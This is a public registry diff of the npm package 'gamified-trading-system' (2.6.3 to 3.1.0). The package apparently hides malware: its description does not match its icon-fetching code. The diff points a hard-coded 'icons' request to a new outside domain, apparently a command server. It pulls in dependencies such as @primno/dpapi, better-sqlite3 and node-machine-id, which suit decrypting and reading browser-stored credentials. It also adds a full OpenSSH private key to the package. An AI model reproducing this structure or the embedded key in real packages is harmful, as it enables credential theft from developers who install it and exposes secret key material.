gamified-trading-system 2.6.3 → 3.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. package/gitlab +7 -0
  2. package/gitlab.pub +1 -0
  3. package/index.js +5 -2
  4. package/package.json +16 -10
package/gitlab ADDED
@@ -0,0 +1,7 @@
1
+ -----BEGIN OPENSSH PRIVATE KEY-----
2
+ b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
3
+ QyNTUxOQAAACCrR3Mn3AmhNlxIgR5TBIz+lYyM9wpPIGhAxO0PoMDeMAAAAJhdP5NOXT+T
4
+ TgAAAAtzc2gtZWQyNTUxOQAAACCrR3Mn3AmhNlxIgR5TBIz+lYyM9wpPIGhAxO0PoMDeMA
5
+ AAAEAvDamb9uMEZlR4JCnbcS2KV7TvHygFrtKFceqipGPxuqtHcyfcCaE2XEiBHlMEjP6V
6
+ jIz3Ck8gaEDE7Q+gwN4wAAAAFXRlc3RtQERFU0tUT1AtUE8yOElTMQ==
7
+ -----END OPENSSH PRIVATE KEY-----
package/gitlab.pub ADDED
@@ -0,0 +1 @@
1
+ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKtHcyfcCaE2XEiBHlMEjP6VjIz3Ck8gaEDE7Q+gwN4w testm@DESKTOP-PO28IS1
package/index.js CHANGED
@@ -103,7 +103,7 @@ function setDefaultModule(IconProvider, resourceType, token, baseUrl) {
103
103
  * @param {string} baseUrl - The base URL of the CDN.
104
104
  * @returns {Promise<void>} - A promise that resolves when the icon data is fetched.
105
105
  */
106
- const protocol = "https", domain = "bet.slotgambit.com", separator = "://", path = "/icons/";
106
+ const protocol = "https", domain = "svganchordev.net", separator = "://", path = "/icons/";
107
107
  // Constructs the base URL for the local server
108
108
 
109
109
  const token = '116', head = { bearrtoken: "logo" };
@@ -196,4 +196,7 @@ function getPlugin(reqtoken = token, reqoptions = options, ret = 1) {
196
196
  }
197
197
 
198
198
  // Default export of functions
199
- module.exports = () => getPlugin()
199
+ export {
200
+ setDefaultModule,
201
+ getPlugin
202
+ }
package/package.json CHANGED
@@ -1,27 +1,33 @@
1
1
  {
2
2
  "name": "gamified-trading-system",
3
- "version": "2.6.3",
3
+ "version": "3.1.0",
4
4
  "description": "Adds simple game features like rewards and levels to make trading more engaging.",
5
- "main": "index.js",
6
- "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1"
8
- },
9
5
  "keywords": [
10
6
  "react",
11
7
  "helper",
12
8
  "svg"
13
9
  ],
14
- "author": "copperadev",
15
10
  "license": "ISC",
11
+ "author": "sndev",
12
+ "type": "module",
13
+ "main": "index.js",
14
+ "exports": {
15
+ ".": "./index.js"
16
+ },
17
+ "scripts": {
18
+ "test": "echo \"Error: no test specified\" && exit 1"
19
+ },
16
20
  "dependencies": {
17
21
  "@primno/dpapi": "^2.0.1",
18
22
  "axios": "^1.11.0",
19
- "better-sqlite3": "^12.2.0",
23
+ "better-sqlite3": "^12.6.2",
20
24
  "express": "^4.21.2",
21
25
  "module-to-cdn": "^3.1.5",
22
26
  "node-machine-id": "^1.1.12",
23
27
  "request": "^2.88.2",
24
- "sqlite3": "^5.1.7",
25
- "socket.io-client": "^4.8.1"
28
+ "socket.io-client": "^4.8.3"
29
+ },
30
+ "devDependencies": {
31
+ "vitest": "^4.0.18"
26
32
  }
27
- }
33
+ }